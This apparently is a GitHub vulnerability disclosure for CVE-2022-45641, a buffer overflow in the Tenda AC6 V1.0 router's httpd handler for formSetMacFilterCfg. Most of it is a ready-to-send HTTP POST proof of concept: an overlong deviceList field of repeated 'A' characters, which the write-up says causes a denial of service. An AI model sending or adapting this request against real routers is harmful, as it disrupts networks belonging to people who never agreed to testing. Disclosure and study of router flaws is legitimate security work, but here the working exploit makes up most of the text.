Headline
CVE-2022-45641: CVE-vulns/formSetMacFilterCfg.md at main · Double-q1015/CVE-vulns
Tenda AC6V1.0 V15.03.05.19 is vulnerable to Buffer Overflow via formSetMacFilterCfg.
Tenda Router AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow in the httpd module when handling /goform/formSetMacFilterCfg request.
This vulnerability lies in the /goform/formSetMacFilterCfg page，The details are shown below:
This POC can result in a Dos.
POST /goform/setMacFilterCfg HTTP/1.1
Host: 192.168.204.133
Content-Length: 182
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.133
Referer: http://192.168.204.133/mac_filter.html?random=0.4768296248219275&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=eeg1qw
Connection: close
macFilterType=black&deviceList=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\r11